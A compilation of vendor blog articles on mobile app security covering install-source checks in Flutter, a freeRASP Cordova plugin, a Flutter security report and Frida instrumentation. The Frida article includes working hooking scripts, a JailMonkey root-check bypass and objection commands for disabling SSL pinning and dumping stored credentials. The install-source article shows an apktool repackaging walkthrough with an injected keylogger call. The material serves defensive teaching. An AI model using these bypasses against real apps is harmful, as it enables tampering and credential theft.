In today’s mobile app ecosystem, ensuring your app is secure from piracy, tampering, and sideloading is more important than ever. With unofficial app stores and third-party platforms on the rise, developers face the risk of their apps being stolen, modified, or misused, often leading to revenue loss, security breaches, and reputation damage. One simple but effective measure to safeguard your app is enforcing install source restrictions, ensuring it only runs if downloaded from official stores like Google Play or the Apple App Store. This article explores how you can implement these checks and why it’s crucial for app security.

How Unauthorized Installs Lead to Vulnerabilities

Distributing an app through unofficial channels opens the door to numerous security threats, many of which could have devastating consequences for both the developer and users. Unauthorized installs can lead to significant breaches in security for several reasons:

  1. Tampered versions of the app

  2. Lack of official updates and security patches

  3. Data leaks and privacy concerns

  4. Exploits for ads or in-app purchases

  5. Gateway for broader attacks

Commonly, fake applications are installed through the internet browser, file manager, cloud storage, or various messaging apps.

One common scenario is that the app being installed has been tampered in order to skip verifications of some kind or in order to add malicious code to it. As an example, an attacker can use apktool to decompile the apk:

This gives back a smali version of the app that can be changed later on. Think of smali code like an assembly-like language that is a low-level representation of the compiled Java code. That can be modified by maybe adding a key logger function of some sort.

Than is as simple as repacking the app with

and then resign the apk

This high-level example shows how dangerous it can be to install an app like this for both developer and user. Users who unknowingly download these tampered versions may be exposed to malware, spyware, or data-stealing mechanisms that compromise their personal information. This type of unauthorized access could include reading sensitive files, intercepting user data, or even hijacking user accounts. Developers can be harmed both in terms of their reputation and earnings. Modified app versions may disable ads, unlock premium features for free, or provide unauthorized access to paid content.

How to Check to Install Sources in Your Mobile App

One basic strategy is to check the install source every time the user launches the app and react accordingly.

Let’s see a quick and easy example using Flutter. Keep in mind that we will write some native code for Android and iOS, so you can use the same code if your app is native only or if you want to use it in any other framework.

So first of all, let’s create a new Flutter project with flutter create check_install_source. You can remove the main.dart file entirely and replace it with the following, starting with the necessary imports and the classi main declaration:

Then we can create a MyApp class

In the actual MyAppState we can implement a simple build method and the initState :

Now let’s add a new method called _checkInstallSource in the initState

So that we can implement it as following:

What’s happening here is that we are calling specific native function using flutter’s method channels () so that we can perform some action in the native side. Of course we are catching exceptions that may occur.

When we call getInstallerPackageName **Android method we will ask what the install source is. In this case we are checking against com.android.vending that’s the Google Play Store but you can also check plenty of other alternative stores like Samsung Galaxy Store com.sec.android.app.samsungapps.

On the other hand, when calling validateAppStoreReceipt iOS method we are checking that an App Store receipt is present. Even on free apps, Apple attach a receipt file to verify the authenticity of the executable. Of course just checking if the receipt is there or not could not be enough so you can perform additional verification or send receipt to your server for validation ().

Now, before checking kotlin and swift code, let’s see what we can do with those informations and let’s implement the _showErrorAndExit() method.

Keep in mind that’s just an example to alert the user. Exiting an app with exit(0) it’s not usually recommended because Apple may reject your app when submitting it to the AppStore.

Now open the MainActivity.kt file in Android folder and swap the content with necessary import first:

and than change the MainActivity class as following:

In this chunk of code we are implementing Flutter method channel in Android counterpart, getting ready to listen for the same method getInstallerPackageName that we implemented in Dart. Using packageManager we can get the installer package name and pass it back to Dart.

We can move to iOS folder opening AppDelegate.swift and adding imports:

We can proceed editing didFinishLaunchingWithOptions method to let Swift know what method need to be respond to:

Last step is to implement the isValidAppStoreReceipt() method in the AppDelegate class:

Your app should now be able to check the install source and force exit if it’s an unofficial source (in this example).

Additional Security Measures

Even if you have verified the install source of an app this is just the initial stage of ensuring that only genuine and authorized versions are installed, developers still need to undertake other steps to ensure that their apps are safe. Here are some effective strategies and tools that developers can leverage to enhance security.

Code Obfuscation

Flutter / Dart are typically more resilient against reverse engineering as the code is minified during the compilation (not really obfuscated). It's common to offload sensitive parts of code to domains that can be obfuscated more easily: Java/Kotlin, Swift, and especially C/C++ languages can be obfuscated by ready-made obfuscators.

Code obfuscation remains one of the easiest ways by which one can protect his or her application. Consumer objectives can be achieved using tools such as ProGuard for Android or LLVM Obfuscator for iOS because such tools distort code within the app, making it impossible for an attacker to understand what the app does. While renaming classes, methods, and variables, the work of an attacker significantly becomes more complex, depriving him even an attempt to begin to decompile and adjust the internal functioning of the application.

Another interesting project worth checking out is, that’s based on

dProtect an Android bytecode obfuscator based on Proguard O-MVLL is an obfuscator based on LLVM that uses the new LLVM pass manager, -fpass-plugin to perform native code obfuscation

Runtime Protection and Jailbreak/Root Detection

One must recognize when an app is running in an environment such as a jailbroken iPhone or iPad or a rooted Android device. These devices usually eliminate crucial security components, thus rendering them prone to hacking. There is always the possibility of root and jailbreak detection, so existing applications cannot run within these breeches.

Integrating Security Tools: freeRASP by Talsec

freeRASP (Runtime Application Self-Protection) () refers to an all-inclusive security solution whereby your mobile application can be monitored in real-time. It goes beyond basic checks like jailbreak or root detection by offering a full suite of security features, including:

Integrity Check: Identifies the state or level of modification of the app in order to determine if it has been modified in anyway. Debugging Detection: Recognizes whether in a specific app it is currently being debugged, or, for instance, during reverse engineering. Repackaging Protection: They also shield users against other attackers altering and repackaging their applications. Anti-Hooking: Intercepts and protects against such tool as Frida from injecting their code into the app during its execution. With the help of freeRASP, developers can prevent complex threats, including tampering, reverse engineering, and runtime manipulation. The application is free of charge and comes with powerful addressing security options compared to other powerful addressing security options that can easily be incorporated into existing mobile applications.

Conclusion

It is, therefore, important to consider multiple levels of security when developing applications for the current mobile environment. Verifying install sources is a good start, but by using tools such as freeRASP, runtime protections, and server-side checks, developers can offer a much safer environment for the applications. This shields the users from such applications and possible data leakage and your brand and business from the possible repercussions of a malicious app.

freeRASP meets Cordova

Highly recognized freeRASP SDK providing app protection and threat monitoring for mobile devices arrived in the Cordova ecosystem! This article will help you understand runtime application self-protection, explore freeRASP capabilities, and shield your app against threats!

The popularity of the hybrid app development

The popularity of hybrid platforms continues to grow, and companies have adopted them widely. They allow developers the possibility of writing the code once and reusing it on both Android and iOS native platforms. Often, the development of such apps costs less time and resources. Nowadays, there are many popular hybrid platforms (e.g., Flutter, React Native, Ionic, Cordova, or Xamarin).

Hybrid app security and freeRASP

Cross-platform development frameworks, in general, suffer when native platform-specific problems need to be solved and security has to be handled. In addition, hybrid platforms can introduce more specific issues. Sacrificing security to be able to do cross-platform development is a no-go.

“What should the developers do?”

First of all, ensure that the applications follow the standards for mobile app security () for the native parts. Besides security requirements for the architecture, data storage, or network communication, the application should be secured with advanced security solutions such as runtime application self-protection (RASP) to protect against tampering, distribution via an unofficial way or the app being run in a compromised environment.

“But developing such solutions is quite expensive, right?”

Right, it is pretty expensive to develop it in-house. Luckily, there are companies which can handle the problem for you. Moreover, there are !

“What does freeRASP have to do with all of this?”

In the past, we have observed a strong growth in the popularity of Flutter and chose it as our first contact with cross-platform development. We apps and developed a , which has been a great success and the developers’ feedback vastly improved our product.

Since releasing a freeRASP for Flutter, there have been a number of developers asking whether we can support other platforms. While some of them have successfully integrated the native versions with some of the frameworks, there were problems using it with the Cordova framework. We decided to take a closer look and develop an easy-to-integrate plugin to make Cordova developers’ lives easier. And that’s how was born!

freeRASP for Cordova

freeRASP for Cordova is a mobile in-app protection and security monitoring plugin. It aims to cover the main aspects of RASP (Runtime App Self Protection) and application shielding.

It is designed to combat:

  • Reverse engineering attempts (debugging, running in emulators, hooking)

  • Re-publishing or tampering with the apps

  • Running an application in a compromised OS environment (root/jailbreak)

  • Malware, fraudsters, and cybercriminal activities

“How can I use it?”

It is as easy as doing a minor prerequisite and adding a plugin to the application. Then you rely on freeRASP to protect your app. You can handle any threat that will be detected (e.g. attached debugger to the app) on your own, for example, by killing the application.

As Talsec uses Kotlin and Swift for the implementation of the native side, there is a minor prerequisite which must be done before adding the plugin.

  • Kotlin must be enabled, and the version must be set up in the config.xml file

  • A swift support plugin must be added

After that, you can easily add the plugin to your application. After initial importing, you set up an initial configuration (package name, signing certificate hash, bundleId, teamId) to have freeRASP detect some of the threats correctly. You also need to provide a mail address to which will be sent.

Next, you define a threat listener function, in which you can handle the detected threats as you wish, for example, killing the application, notifying the user that a threat has been detected or just ignoring the threat. The threat listener:

freeRASP can be started after the Cordova initialization is completed. The initialization should be done inside the onDeviceReady function in index.js:

As the last step, you need to differentiate the dev and release versions of the library. The dev version is designed not to complicate the development process of the application (e.g. if you would implement killing of the application on the debugger callback). It disables some of the detections. On Android, it is handled automatically, whereas, on iOS, the step is a matter of adding a pre-built script into the run phases and embedding a symlink to the correct framework. Do not worry, it is quite easy ;)

How does it work under the hood?

freeRASP for Cordova is composed of freeRASP and counterparts.

Android

It contains a Gradle file, which contains the dependency for the Android freeRASP repository.

It also contains a TalsecPlugin.kt file, which provides the API to the freeRASP for communication with Cordova. It parses the configuration input given from index.js, registers the threat listener and starts the detection. If any threat occurs, it sends a message back to the index.js to the threatListener function. If any error or incorrect input occurs, it sends back an error message to the index.js.

iOS

It contains built binaries (both Debug and Release versions) of the freeRASP iOS library.

It also contains a bridging header for the Objective-C -> Swift bridge. The TalsecPlugin.swift file is similar to the Android’s TalsecPlugin.kt. Moreover, it uses a static object to preserve the state of the delegate given by Cordova for sending messages.

The iOS version also contains an after_plugin_add script to create a symlink to one of the built binaries (default is Debug) at the correct place. You guessed it right! This is the symlink used in the integration step, which is recreated after changing the Debug <-> Release build of the application.

Cordova

It contains a simple Promise, which passes the configuration from index.js to respective native implementations and returns back a success or error message.

Customisation, demo application and distribution

The plugin is designed to be used easily without the modification of the native parts. The reactions to threats can be modified in the index.js easily in the threat listener, and configuration is also passed from index.js.

However, you can set up the configuration, threat listener and initialisation also from the native parts and not interact with index.js at all, for example, if you would prefer using a “native way” of killing the application.

We have prepared a which integrates the plugin. It shows the state of the threats with simple visualisation: green: OK, red: NOK (a threat happened). The threat listener is implemented in index.js. If a threat is detected, it changes the backgroundColor of the element corresponding to a given threat to red colour.

Except for the , the plugin is also distributed via NPMJS:

Next steps

Security is essential, even though we tend to forget about it when it comes to hybrid platform applications. However, the freeRASP solution is not bulletproof.

In the freeRASP, it’s up to the developer to implement the reaction for the individual threats (e.g., root, debug, simulator, device binding), and because each developer can implement their own logic for detected threats (e.g., step-up authentication, business logic flow modification, killing the application), we need to provide API for the callback, so they can implement their own logic.

The javascript part of the application tends to be more vulnerable to manipulation/injection/tampering, and it would be better to start Talsec in the native part of the code. However, even the reaction on the native side can be easily modified or stripped by an experienced attacker.

We have multiple solutions (pre-configured custom build SDK, in-SDK reactions and killing mechanism, AppiCrypt) in our business solution, preventing precisely those types of attacks. To check out what is the difference between freeRASP and Business RASP+, see this page:

written by Matúš Šikyňa, Developer at Talsec

| | Read also |

Flutter CTO Report 2024: Flutter App Security Trends

Flutter has gained significant traction within FinTech, underscoring the crucial need for robust security measures. The platform’s popularity attracts attention from both app developers and cybercriminals. Flutter’s strong security posture, evidenced by fewer reported vulnerabilities and CVEs, makes it a solid choice for developing sensitive apps.

Flutter Built-in Security

Flutter is more resilient to decompilation than native apps. Its binary packaging offers better protection of code and hardcoded data, although the number of Flutter-specific reverse engineering tools is increasing rapidly, continually broadening the potential threat landscape (e.g., reFlutter, flutter-spy, blutter).

Common Vulnerabilities

Despite its advantages, Flutter apps are not immune to common vulnerabilities:

  • Privileged Access Issues: Rooting and jailbreak concerns remain prevalent.

  • Dynamic Attacks: Techniques such as hooking frameworks (e.g., Frida, Xposed) pose significant risks.

  • App Cloning and Repackaging: Unauthorized duplication of apps is a persistent threat.

  • TLS Pinning Bypass: Critical for defending against man-in-the-middle attacks.

  • Session Hijacking and App Impersonation: Compromise user sessions and mimic legitimate apps.

  • Malware: Leveraging app permissions (accessibility misuse, screen sharing, keyloggers, SMS OTP interceptors, etc.) for malicious activities.

Developer Awareness

Flutter developers must stay informed about security threats and evolving attack vectors across all supported platforms. This demands n-depth expertise and continuous learning, making app security a specialized area within software development.

Essential Security Hardening Measures

In the financial sector, regulators mandate the adoption of a range of security techniques, which can be categorized into three primary areas:

  1. Runtime Application Self-Protection (RASP): Implement client-side measures to monitor and react to integrity and environment compromises.

  2. API Protection: Safeguard against app impersonation using tools like Firebase App Check, attestation services, or API protection SDKs such as AppiCrypt.

  3. Anti-Malware: Detects and mitigates risks posed by malicious apps on client devices.

Basic controls can often be implemented using freemium or community-supported tools. However, advanced enterprise-grade protection typically requires custom development or commercial security solutions.

Advances in Mobile Security Tools for Flutter

The proliferation of app-to-API end-to-end protection solutions (such as App Attestation, AppiCrypt, and AppCheck) is effectively countering the escalating threats from mobileoriented API abuse. These threats encompass App impersonation techniques such as botnets, password enumeration scripts, data scraping, promotional abuse, fake registrations, and phishing campaigns.

However, due to Flutter’s compiled nature, Static Application Security Testing (SAST) tools have not yet reached the level of sophistication seen in native applications. This presents a challenge in maintaining security parity with other platforms. Conversely, the advent of Software Bill of Materials (SBOM) analysis has simplified the examination of third-party dependencies, thus enhancing the thoroughness and effectiveness of security assessments.

Overall, while there are still areas needing improvement, the strides made in mobile security tools for Flutter demonstrate significant potential in safeguarding against complex and evolving threats.

Budget Considerations

App issuers should allocate 20% to 25% of development and maintenance budgets to security features. It’s crucial to recognize that due to the dynamic nature of attack vectors and operating system updates, ongoing maintenance costs for security features may be significantly higher than initially estimated.

Conclusion

Proactive security measures are not just beneficial but essential for app protection in today’s dynamic threat environment. Ensuring comprehensive security requires both strategic investment and dedicated expertise.

Written by Sergiy Yakymchuk (CEO at Talsec)

var threatListener = function(threatType) {
    switch(threatType) {
        case "privilegedAccess": // Android & iOS
            // TODO place your reaction here
            break;
        case "debug": // Android & iOS
            // TODO place your reaction here 
            break;
        case "simulator": // Android & iOS
            // TODO place your reaction here
            break;
        case "appIntegrity": // Android & iOS
            // TODO place your reaction here
            break;
        case "unofficialStore": // Android & iOS
            // TODO place your reaction here 
            break;
        case "hooks": // Android & iOS
            // TODO place your reaction here
            break;
        case "device binding": // Android & iOS
            // TODO place your reaction here
            break;
        case "deviceID": // iOS only
            // TODO place your reaction here 
            break;
        case "missingSecureEnclave": // iOS only
            // TODO place your reaction here
            break;
        case "passcodeChange": // iOS only
            // TODO place your reaction here 
            break;
        case "passcode": // iOS only
            // TODO place your reaction here
            break;
        default:
            console.log('Unknown threat type detected: ' + threatType);
    }
}
talsec.start(config, threatListener).then(() => {
    console.log('Talsec initialized.');
}).catch((error) => {
    console.log('Error during Talsec initialization: ', error);
});
module.exports = {
   start: function (config, eventListener) {
     return new Promise((resolve, reject) => {
       cordova.exec(
         (success) => {
           if (success != null && success == "started") {
             resolve();
           }
           else {
             eventListener(success);
           }
         },
         (error) => {
           reject(error);
         },
         "TalsecPlugin", "start", [config]
       );
     })
   }
};
OWASP MASVS
freely available solutions
looked at security issues of the Flutter
freeRASP for Flutter
freeRASP for Cordova
regular security reports
Android
iOS
simple demo application
GitHub repo
https://www.npmjs.com/package/cordova-talsec-plugin-freerasp
https://github.com/orgs/talsec/discussions/5
https://talsec.app
[email protected]
5 Things John Learned Fighting Hackers of His App — A must-read for PM’s and CISO’s
Mobile API Anti-abuse Protection: AppiCrypt® Is a New SafetyNet and DeviceCheck Attestation Alternative
freeRASP — Community-driven In-App Protection and User Safety Suite by Talsec
Flutter CTO Report 2024 Download (PDF)
Flutter CTO Report 2024
official integration guide
freeRASP
apktool d mynotsosecureapp.apk
.method public onCreate(Landroid/os/Bundle;)V
    .locals 1
    .param p1, "savedInstanceState"    # Landroid/os/Bundle;

    .prologue
    invoke-super {p0, p1}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V

    # Call malicious keylogger here
    invoke-static {}, Lcom/malicious/Keylogger;->logKeyStrokes()V

    # Original code here

.end method
apktool b mynotsosecureapp.apk
jarsigner -keystore fake.keystore mynotsosecureapp.apk fakealias
import 'dart:async';
import 'dart:io';

import 'package:flutter/material.dart';
import 'package:flutter/services.dart';

void main() {
  runApp(const MaterialApp(home: MyApp()));
class MyApp extends StatefulWidget {
  const MyApp({super.key});

  @override
  MyAppState createState() => MyAppState();
}
class MyAppState extends State<MyApp> {
  static const platform = MethodChannel('flutter_app_restrictions');

  @override
  void initState() {
    super.initState();
  }

  @override
  Widget build(BuildContext context) {
    return Scaffold(
      appBar: AppBar(
        title: const Text('Flutter Install Source Restriction'),
      ),
      body: const Center(
        child: Text('App is running...'),
      ),
    );
  }
}
@override
  void initState() {
    super.initState();
    _checkInstallSource();
  }
Future<void> _checkInstallSource() async {
    try {
      String? installerSource;
      if (Platform.isAndroid) {
        // Call Android-specific code
        installerSource =
            await platform.invokeMethod('getInstallerPackageName');
        if (installerSource != 'com.android.vending') {
          _showErrorAndExit();
        }
      } else if (Platform.isIOS) {
        // Call iOS-specific code
        bool isValid = await platform.invokeMethod('validateAppStoreReceipt');
        if (!isValid) {
          _showErrorAndExit();
        }
      }
    } on PlatformException catch (e) {
      print("Failed to get install source: ${e.message}");
      _showErrorAndExit();
    }
  }
  void _showErrorAndExit() {
    // Show error and exit the app
    showDialog(
      context: context,
      builder: (context) {
        return AlertDialog(
          title: const Text("Invalid Installation"),
          content:
              const Text("This app was not installed from an official source."),
          actions: [
            TextButton(
              onPressed: () {
                // Exit the app
                exit(0);
              },
              child: const Text("Exit"),
            ),
          ],
        );
      },
    );
  }
import android.content.pm.PackageManager
import android.os.Build
import android.os.Bundle
import androidx.annotation.NonNull
import androidx.annotation.RequiresApi
import io.flutter.embedding.android.FlutterActivity
import io.flutter.plugin.common.MethodChannel
class MainActivity: FlutterActivity() {
    private val CHANNEL = "flutter_app_restrictions"

    @RequiresApi(Build.VERSION_CODES.R)
    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)

        flutterEngine?.dartExecutor?.let {
            MethodChannel(it.binaryMessenger, CHANNEL).setMethodCallHandler { call, result ->
                if (call.method == "getInstallerPackageName") {
                    val packageName = packageName
                    val installerPackageName = packageManager.getInstallSourceInfo(packageName).initiatingPackageName
                    result.success(installerPackageName)
                } else {
                    result.notImplemented()
                }
            }
        }
    }
}
import UIKit
import Flutter
import StoreKit
@main
@objc class AppDelegate: FlutterAppDelegate {
  private let CHANNEL = "flutter_app_restrictions"
  
  override func application(
    _ application: UIApplication,
    didFinishLaunchingWithOptions launchOptions: [UIApplication.LaunchOptionsKey: Any]?
  ) -> Bool {
    let controller: FlutterViewController = window?.rootViewController as! FlutterViewController
    let methodChannel = FlutterMethodChannel(name: CHANNEL, binaryMessenger: controller.binaryMessenger)
    
    methodChannel.setMethodCallHandler { (call: FlutterMethodCall, result: @escaping FlutterResult) in
      if call.method == "validateAppStoreReceipt" {
        result(self.isValidAppStoreReceipt())
      } else {
        result(FlutterMethodNotImplemented)
      }
    }
    
    return super.application(application, didFinishLaunchingWithOptions: launchOptions)
  }
}
private func isValidAppStoreReceipt() -> Bool {
    guard let appStoreReceiptURL = Bundle.main.appStoreReceiptURL else {
      return false
    }
    
    do {
      let receiptData = try Data(contentsOf: appStoreReceiptURL)
      // Perform additional verification or send receipt to your server for validation
      return receiptData.count > 0
    } catch {
      return false
    }
  }
apktool
https://docs.flutter.dev/platform-integration/platform-channels
https://developer.apple.com/documentation/appstorereceipts/validating_receipts_on_the_device
https://obfuscator.re
https://docs.talsec.app/freerasp
Cover

Marco Galetta, Senior Software Engineer

Experienced and dedicated Mobile App Developer with impressive expertise in Flutter Framework. Directs the design, development, and implementation of mobile applications and delivers products ahead of schedule.

Hook, Hack, Defend: Frida’s Impact on Mobile Security & How to Fight Back

Let's dive into Akshit Singh's insights on how Frida works, the risks it poses to mobile apps, and why effective Frida detection is crucial. This article highlights Talsec’s freeRASP as the #1 RASP solution by popularity, showcasing its advanced Frida-server detection and other security features that provide a robust defense against app tampering, ensuring real-time protection and resilience.

Hook, Hack, Defend: Frida's Impact on Mobile Security & How to Fight Back

Introduction

In today's mobile security landscape, protecting applications is a constant cat-and-mouse game between defenders and attackers. Dynamic instrumentation tools like Frida have become a favourite weapon for adversaries, allowing them to hook into application processes, bypass security mechanisms, extract sensitive data, and manipulate runtime behavior . In response, developers implement Frida detection techniques like checking for suspicious libraries, unusual system calls, process injections, etc. However both sides continuously adapt to the methods of the other side and just start thinking about how to outsmart the other. This makes engineers dig deep to depths of working of these tools and overtake the other side.

Well, today we are going to dig deep inside such a tool that can tamper with any app's working and manipulate its code, giving the attackers an unfair advantage.

Frida Logo

What is Frida?

Frida is a powerful dynamic instrumentation toolkit designed for cross-platform applications, supporting Android, iOS, Windows, Linux, and macOS. It allows developers, security researchers, and reverse engineers to analyze, modify, and manipulate applications at runtime. By injecting scripts into a running process, Frida enables real-time introspection of an application's internal functions, memory structures, and API calls. This makes it a valuable tool for debugging, security testing, and reverse engineering. With Frida, one can hook into functions, alter their behavior, or even bypass security mechanisms —all without modifying the application's original binary.

Here is a small script to demonstrate how frida works and hooks the application:

Java.perform(function() {
var TargetClass = Java.use('com.example.app.TargetClass');

    TargetClass.targetMethod.implementation = function(arg1, arg2) {
        console.log("[*] targetMethod called with args: " + arg1 + ", " + arg2);
        var result = this.targetMethod(arg1, arg2);
        console.log("[*] targetMethod returned: " + result);
        return result;
    };
});

This script hooks the targetMethod of the class TargetClass and prints out its arguments and the result whenever it is called inside the application with package name - com.example.app .

Frida is a tool that hooks the function of an application by injecting its own code inside the app. There are essentially two ways to tamper an app using frida-gadget patches or by using frida-server on the app's target device.

Using Frida

There are two ways to use Frida on an application on a device:

  • Patching an application to use Frida:

    • Decompile the application using apktool .

    • The target application has to be patched by moving the right version of frida-gadget inside the application as libfrida-gadget.so .

    • The decompiled app has to be aligned and signed again correctly using zipalign and jarsigner .

    • Now whenever the application runs it will be able to connect to the frida client running on a remote system.

  • Using frida-server

    • It is important to remember that this method might appear easier and simpler than the patching method but it only works in rooted devices.

    • Move the right version of frida-server into the device and execute the binary.

    • Connect to the frida-server through your local system using the frida command.

And voila you are ready to change the app without changing it :D

Frida Prompt

There are plenty of other tools that can be used for dynamic instrumentation of apps just like frida and they are too able to inject scripts into them during runtime. But what makes Frida unique is its integration with popular programming languages like Python and JavaScript, enabling powerful and flexible instrumentation:

Here are some examples of using frida in python:

  • This is the script that helps us to hook a function target_function() inside the native library libnative-lib.so embedded inside the application com.target.app :

import frida

# Payload
jscode = """
Interceptor.attach(Module.findExportByName("libnative-lib.so", "target_function"), {
    onEnter: function(args) {
        console.log("[*] Hooked target_function!");
        console.log("Arg[0]: " + args[0].toInt32());
        console.log("Arg[1]: " + args[1].readUtf8String());
        
        args[0] = ptr(1337);  // Change integer argument
        args[1].writeUtf8String("Hacked!");  // Change string argument
    },
    onLeave: function(retval) {
        console.log("Original return value: " + retval.toInt32());
        retval.replace(42); //Changing the return value
    }
});
"""
device = frida.get_usb_device()
session = device.attach("com.target.app") 
script = session.create_script(jscode)
script.load()
  • This is similar to hooking a java method inside the application during runtime but instead of attaching through the classes we use interceptors to be able to load the native non-static methods first and then hook them.

  • The similar code can be written in js:

const frida = require('frida');

async function main() {
    const device = await frida.getUsbDevice();
    const session = await device.attach("com.target.app");
    const scriptCode = `
        Interceptor.attach(Module.findExportByName("libnative-lib.so", "target_function"), {
            onEnter: function(args) {
                console.log("[*] Hooked function called!");
                console.log("Arg[0]: " + args[0].toInt32());
            }
        });
    `;

    const script = await session.createScript(scriptCode);
    script.message.connect(message => console.log(message));
    await script.load();

    console.log("[+] Hook installed!");
}
main();

These dependencies of frida in languages like Python and JS make frida more powerful and efficient and even more compatible to be integrated with other advanced tools.

The power of Frida

Frida can be used to tamper with various functions inside the app in runtime also allowing us to bypass many checks and protections like Root checks, SSL pinning and Emulator checks.

Bypassing Root checks

Below is an example of one of the script that can be used to bypass root check in a library named JailMonkey that intends to detect rooted devices:

Java.perform(() => {
    try {
        const klass = Java.use("com.gantix.JailMonkey.JailMonkeyModule");
        const hashmap_klass = Java.use("java.util.HashMap");
        const false_obj = Java.use("java.lang.Boolean").FALSE.value;

        klass.getConstants.implementation = function () {
            var h = hashmap_klass.$new();
            h.put("isJailBroken", false_obj);
            h.put("hookDetected", false_obj);
            h.put("canMockLocation", false_obj);
            h.put("isOnExternalStorage", false_obj);
            h.put("AdbEnabled", false_obj);
            return h;
        };
    } catch (error) {
        console.error("An error occurred:", error);
    }
});

The above script hooks into the main class of the module and changes the implementation of the getConstants function to acquire the values of all the final detection variables as false. So it actually does not matter whether it detects root or not. It will show it as false as its final variables values are changed.

Bypassing emulator checks

https://codeshare.frida.re/@fdciabdul/frida-multiple-bypass

The above script has a function that is able to bypass emulator checks in various security modules by setting up fake device names, brand names, product names and other fake values inside the device properties to throw the detector off.

Bypassing SSL pinning:

https://codeshare.frida.re/@sowdust/universal-android-ssl-pinning-bypass-2

The above script is the smaller and more specific version of the SSL pinning bypass script that is effective in the Android Conscrypt security provider module. It hooks the TrustManagerImpl class and returns a null array instead of the array that the method should have returned to do SSL pinning encryption.

Developments in Frida

Frida was developed by Ole André V. Ravnås . Being the most used and famous tool in the field of mobile reverse engineering and security research, Frida has undergone many feature additions as well as upgrades that has improved the tool furthermore.

  • frida-rust : https://github.com/frida/frida-rust

    • This is a prominent improvement by the frida community that has solved the problem of VM spawning overhead.

    • Whenever we try to load a script into the target application or try to inject some code using Frida then it has to first spawn a js v8 engine and then execute the script inside it. This creates a large overhead that makes script execution very slower and the execution of large scripts very longer and memory extensive.

    • frida-rust on the other hand does'nt have the problem of spawning any VM engine as it maintains a persistent session with the application and can communicate with the C APIs directly, increasing its speed many times compared to before.

  • Updates in frida-server

    • There are many scripts that are out there claiming to be able to detect frida-server running on the device by communicating with it using its protocol.

    • Maybe this is the reason that frida-server implementation was updated. It can now run on any port instead of a default port and its method of communication was changed making frida-server undetectable again. But is it really undetectable??

Frida CodeShare

https://codeshare.frida.re

Frida CodeShare is a community-driven platform where security researchers and developers share ready-to-use Frida scripts for various purposes, including reverse engineering, penetration testing, and debugging. The platform hosts a vast collection of scripts that help automate tasks such as bypassing root detection, decrypting network traffic, intercepting function calls, and modifying app behavior at runtime.

Scripts like Universal Android SSL pinning bypass, aesinfo and ObjC method observer (objective-C method hooking) are available on this site.

  • The Universal Android SSL pinning bypass

https://codeshare.frida.re/@pcipolloni/universal-android-ssl-pinning-bypass-with-frida

This script automates the process of pushing the Burpsuite certificate as a custom certificate on the device to be able to proxy the requests made by the target application.

It does this by making a custom Keystore and TrustManager so that the app does not verify the SSL certificate it is using.

  • aesinfo

https://codeshare.frida.re/@dzonerzy/aesinfo

This script is able to detect the AES encryption in any application by hooking into the cryptographic classes of Java like: Cipher,SecretKeySpec,IvParameterSpec to gather the info regarding the Key, IV and the Ciphertext fed into the methods of these classes and then changes the implementation of the doFinal method that is responsible for the encryption/decryption of the ciphertext.

Tools based on Frida

Runtime Mobile Security tool

https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security

  • It automatically detects the connected devices and the packages inside them helping the user to just interact with drop down menus and use default scripts to tamper with the apps.

Runtime Mobile Security - Device Settings Panel
  • This is a web interface tool that is user-friendly and has a number of frida scripts that can be used by just a click.

RMS - Workspace
  • It makes filtering and scripting much easier as compared to using frida command line tool.

Medusa

https://github.com/medusajs/medusa

Medusa is an advanced Frida-based wrapper tool designed for dynamic instrumentation of mobile applications.

  • It has stored database of useful frida scripts that can be executed just by executing a command.

    • It not only parses or enumerates the important files of an Android package but it also identify common attack vectors inside it.

    • Its Python-based design makes it more user-friendly and easy to work with.

Medusa Logo

Objection

https://github.com/sensepost/objection

  • This is also a wrapper of frida tool that makes it easier to execute scripts like bypassing SSL pinning or anti-root checks and even makes it easier to patch the applications by embedding libfrida-gadget.so inside the app.

    • It is a command-line tool that works without root access or jailbreaking the target app's device, helping us to perform penetration testing and malware analysis.

Objection Logo
Objection Tooltip
  • These are some general commands of using objection:

    • objection patchapk --source target.apk is to patch the target application to use frida in it.

    • android bypass root bypasses antiroot checks on the app.

    • android sslpinning disable bypasses ssl pinning on the device.

    • android sharedpreferences get dumps all the stored credentials in the target app.

freeRASP Protection

https://www.talsec.app/freerasp-in-app-protection-security-talsec

freeRASP is #1 RASP by popularity - free Runtime Application Self-Protection solution for all Android and iOS apps. Whether it is rooting, hooking, emulating, tampering or any other malicious practice inside the device that may harm the application, nothing can beat the RASP technology used by freeRASP.

Just try to integrate freeRASP into one of your application using https://docs.talsec.app/freerasp and use the methods like onRootDetected or onHookDetected to check your device in just a few moments.

Frida detection with freeRASP

Patching an application using Objection or frida-Gadget can be a complex process, as it requires resigning and correctly aligning the app.

On the other hand, running frida-server and interacting with the app through it is a much easier approach. This is why most users, including attackers, prefer using Frida-server on a rooted device to instrument applications.

Detecting frida-server is challenging because it allows communication on any port , and its recent updates have introduced new communication methods, making detection even more difficult.

However, frida-server isn't completely undetectable . Talsec's RASP (Runtime Application Self-Protection) technology is designed to spot it, no matter which port or communication method it uses. Also it doesn't just stop there—it also blocks attackers from using other tricks, like Objection patches, to manipulate the app.

This makes it a reliable defense against attackers using Frida, Objection, Medusa, and other hooking tools to compromise apps.

Conclusion

Frida is a powerful tool for dynamic instrumentation, allowing real-time analysis and modification of applications across multiple platforms. While invaluable for security researchers and developers, its capabilities can also be exploited by malicious actors to bypass restrictions, manipulate runtime behavior, and compromise app security. Without robust protection, applications remain vulnerable to these sophisticated attacks.

This is where Talsec's freeRASP becomes essential. With cutting-edge security features like Frida-server detection, Emulator detection, Root detection, and Developer Mode detection, freeRASP acts as a proactive defense layer, shielding applications from unauthorized tampering and advanced threats. By leveraging RASP (Runtime Application Self-Protection) technology, freeRASP ensures that your app remains secure, resilient, and protected in real time—making it a necessity, not an option.

Trusted by developers worldwide, freeRASP is the #1 RASP solution by popularity, setting the standard for in-app protection.

Simple Root Detection: Implementation and verification

Introduction

In the area of mobile application security, the development of new techniques is a constant game of cat and mouse. Developers work tirelessly to implement new methods of identifying and mitigating the risks associated with rooted devices, while attackers continually develop more sophisticated tools to bypass these safeguards. In this article, we will explore what rooting is, outline basic root detection techniques, and show you how to effectively test your implementation.

Check out and for industry leading root detection

Rooting: What It Is And How It Affects Mobile Security

Rooting is the process of gaining privileged control over an Android device, allowing users to bypass system restrictions and obtain full administrative privileges. This process enables the installation of specialized apps, modification of system settings, or running commands that are otherwise restricted in the default user environment.

